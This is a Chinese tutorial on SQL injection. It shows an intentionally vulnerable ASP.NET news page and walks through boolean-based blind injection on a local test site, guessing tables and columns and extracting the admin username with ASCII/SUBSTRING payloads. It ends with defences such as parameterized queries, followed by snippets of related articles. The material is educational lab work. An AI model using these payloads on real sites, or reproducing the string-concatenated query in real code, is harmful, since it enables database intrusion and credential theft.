WEB 安全之 SQL注入一

SQL注入是一个比较“古老”的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆。进攻与防守相当于矛和盾的关系,我们如果能清楚了解

攻击的全过程,就可以更好的预防类似情况的出现。

 SQL注入原理   主要是攻击者,利益被攻击页面的一些漏洞(通常都是程序员粗心大意造成的),改变数据库执行的SQL语句,从而达到获取“非授权信息”的目的。

下面自己搭建了实验环境用于测试。  首先交待一下,测试环境 开发语言为 Asp.net  ,数据库使用的 MSQL ,测试页面模拟了普通的新闻页面,URL里接受参数 ?id=1  获取文章ID,

后台直接通获取的ID拼接查询语句,没有做敏感字符的过滤,从而为入侵者留下了有机可剩的漏洞.下面是后台代码:

    public partial class NewsInfo : System.Web.UI.Page
    {
        protected NewsModel _news = new NewsModel();
        protected void Page_Load(object sender, EventArgs e)
        {
            var id = Request["id"];
            var sqlStr = "select * from news where id=" + id;
            var sqlCon = SqlHelper.GetConnection();

            try
            {
                var ds = SqlHelper.ExecuteDataset(sqlCon, CommandType.Text, sqlStr);

                if (ds.Tables[0].Rows.Count <= 0) return;

                _news.Title = ds.Tables[0].Rows[0]["title"].ToString();
                _news.Text = ds.Tables[0].Rows[0]["text"].ToString();
                _news.CreateTime = ((DateTime)ds.Tables[0].Rows[0]["createTime"]).ToString("yyyy-MM-dd");
            }
            catch (Exception ex)
            {

            }
        }
    }

一、过程重现

  

1. 测试有没有注入漏洞

浏览器输入 http://localhost:2003/newsInfo?id=1  and 1=1    页面正常   后台执行的SQL语句为:select * from news where id=1 and 1=1

  输入 http://localhost:2003/newsInfo?id=1  and 1=2  空白页面,数据无法显示(后台执行的SQL语句为:select * from news where id=1 and 1=2),页面有注入漏洞。

2.  猜解数据库表名

既然有漏洞,就准备做点事情咯,主要目的是拿到后台管理员密码,先看看数据库里有哪些表吧

http://localhost:2003/newsInfo?id=1 and (select count(*) from userInfo) >=0   没有数据,继续猜解...... N次,

终于 http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=0

这里是利用 后面的条件查询数据库表,如果表不存在,后台就报错了,本测试示例后台对异常做了处理,但是数据肯定是出不来的。

数据显示正常,说明表 user 存在,判断 为 用户表

3. 表字段猜解

http://localhost:2003/newsInfo?id=1 and (select count(password) from [user]) >=0  ....... N次

http://localhost:2003/newsInfo?id=1 and (select count(pwd) from [user]) >=0  页面数据正常如下图

说名表 user 存在 pwd 字段

同理  确认表 user 里存在  name 字段。

4. 查询表里有多少条数据

http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=5 返回空白页面

http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=2 返回空白页面

http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) =1  页面正常  ,只有一个用户。

5. 用户名猜解

<A>  用户名长度,

http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =3  ,返回空白页面

http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =4 ,返回空白页面

http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =5  ,返回正常页面,确定用户名为5位字符

<B>  用户名猜解

第一位    http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 20 ,返回正常页面 ...........

下面猜解 N次

         http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 96, 返回正常页面

http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 97   返回空白页面了

这说明 第一位 ASCII值为 97,对应字母 a

以此类推 ,第2位,第3位 .....第5位, 猜解出用户名 admin ,在这里主要用了 ASCII  和 SUBSTRING 函数,如果对这两个函数不熟悉请自行百度,下面是猜解过程截图。

用户名猜解成功。

6. 密码猜解

用户名搞定了,密码思路也是一样

<A> 先确定密码长度

<B> 逐个密码猜解,这里就不写注入的sql语句了,同 用户名 猜解

至此,整改网站管理后台沦陷。

二、防范方法

1. 后台进行输入验证,对敏感字符过滤。(某情况下不完全保险,可能会有漏掉的敏感字符,攻击者可以对关键字符转义绕过过滤)

 2. 使用存储过程(不灵活,太多存储过程不好维护,特别是如果存储过程里涉及到业务,对以后的维护简直是灾难,出了问题也不好查找)

3. 使用参数化查询,能避免拼接SQL,就不要拼接SQL语句。(当然了,本示例只要判断 参数ID 是否为数字就不会有题了)

时间: 2024-10-10 15:45:47

WEB 安全之 SQL注入一的相关文章

Web安全之SQL注入攻击技巧与防范

在Web1.0时代,人们更多是关注服务器端动态脚本语言的安全问题,比如将一个可执行脚本(俗称Webshell)通过脚本语言的漏洞上传到服务器上,从而获得服务器权限.在Web发展初期,随着动态脚本语言的发展和普及,以及早期工程师对安全问题认知不足导致很多”安全血案”的发生,至今仍然遗留下许多历史问题,比如PHP语言至今仍然无法从语言本身杜绝「文件包含漏洞」(参见这里),只能依靠工程师良好的代码规范和安全意识. 伴随着Web2.0.社交网络.微博等一系列新型互联网产品的兴起,基于Web环境的互联网应

WEB 安全之 SQL注入 &lt; 三 &gt; 提权

前两篇文章介绍了攻击者通过构造SQL语句来获得“非授权信息”,都是停留在数据库层面的,其实它的威力可不仅仅止于此吆.如果DB管理员有疏忽,再加上页面有注入漏洞,危害不仅仅像前两篇最终网站后台沦陷搞不好整个系统都有可能被人控制. 测试环境跟上一篇相同, MSQL + asp.net  + win7.前面已经拿下了管理员用户名.密码,我们还是使用新闻详细页面 ( 方便测试,不设防 ): public partial class NewsInfo : System.Web.UI.Page { prot

【渗透攻防Web篇】SQL注入攻击高级

前言 前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级的技术,避开过滤,绕开防御.有攻必有防,当然还要来探讨一下SQL注入防御技巧. 目录 第五节 避开过滤方法总结 5.1.大小写变种 5.2.URL编码 5.3.SQL注释 5.4.空字节 5.5.二阶SQL注入 第六节 探讨SQL注入防御技巧 6.1.输入验证 6.2.编码输出 正文 第五节 避开过滤方法总结 Web应用为了防御包括SQL注入在内的攻击,常常使用输入过滤器,这些过滤器可以在应用的代码中,也可以

WEB安全:SQL注入

SQL注入是网站和web应用程序中最常见的安全漏洞.这种恶意技术有很多应用场景, 但(SQL注入)通常是指在数据输入的地方注入代码以利用数据库应用程序中的安全漏洞. SQL注入在接收用户输入的接口处 (也就是说在注册表单.查询表单等地方)尝试执行注入操作.对(SQL注入)高度关注以及方便检测数据库应用程序中的安全漏洞使得攻击者经常地以最小的努力"测试"网站/应用程序的安全完整性. 危害 成功执行的SQL注入有可能严重危害数据库中存储的数据.这种攻击的意图可能包括(但不限于)任何以下方式

mysql基础语法及拓展到web中的sql注入

本来是想写下javaweb的mvc(tomcat, spring, mysql)的搭建,  昨天搭到凌晨3点, 谁知道jdbcTemplate的jar包不好使, 想死的心都有了, 想想还是休息一下, 所以复习一下mysql的基本语法,因为以前对web的安全比较熟悉, 看过好多黑客防线以及黑客X档案, 黑锅几家网吧,你懂的, o(^▽^)o, 所以拓展一下web安全, 常见web注入的方式, 以及找的两篇资料: 首先复习一下基本的增删改查: //从Users表中删除User为admin的字段; d

Web安全 之 SQL注入

随着B/S模式应用开发的发展,使用这种模式编写的应用程序也越来越多.相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入.       SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对 SQL注入 发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不

[超级基础]Web安全之SQL注入由浅入深(?)

前言 断断续续看Web安全到现在了,感觉对很多基础知识还是一知半解,停留在模糊的层次.所以准备系统总结一下. Sql注入我以前一直不以为然,一是现在能sql的站确实很少,二是有像sqlmap的工具可以用.而且想要修复也很简单. 但后来发现不管是CTF题目中,还是实站中还有有很多需要用到sql注入的地方.17版的OWASPtop10中,注入依旧是A1级别的漏洞. 所以在此学习并回顾一下此类漏洞. 1 环境准备 1.1什么是Sql注入 下面是17OWASP中对注入类漏洞的定义: 简单的说,SQL注入

WEB 安全之 SQL注入&lt;一&gt; 盲注

SQL注入原理   主要是攻击者,利用被攻击页面的一些漏洞(通常都是程序员粗心大意造成的),改变数据库执行的SQL语句,从而达到获取“非授权信息”的目的. 下面自己搭建了实验环境用于测试.  首先交待一下,测试环境 开发语言为 Asp.net  ,数据库使用的 MSQL ,测试页面模拟了普通的新闻页面,URL里接受参数 ?id=1  获取文章ID, 后台直接通获取的ID拼接查询语句,没有做敏感字符的过滤,从而为入侵者留下了有机可剩的漏洞.下面是后台代码: public partial class

常见web安全问题,SQL注入、XSS、CSRF,基本原理以及如何防御

1.SQL注入原理:1).SQL命令可查询.插入.更新.删除等,命令的串接.而以分号字元为不同命 令的区别.(原本的作用是用于SubQuery或作为查询.插入.更新.删除--等 的条件式)2).SQL命令对于传入的字符串参数是用单引号字元所包起来.(但连续2个单引 号字元,在SQL资料库中,则视为字串中的一个单引号字元)3).SQL命令中,可以注入注解预防:1).在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计数据 访问功能.2).在组合SQL字符串时,先针对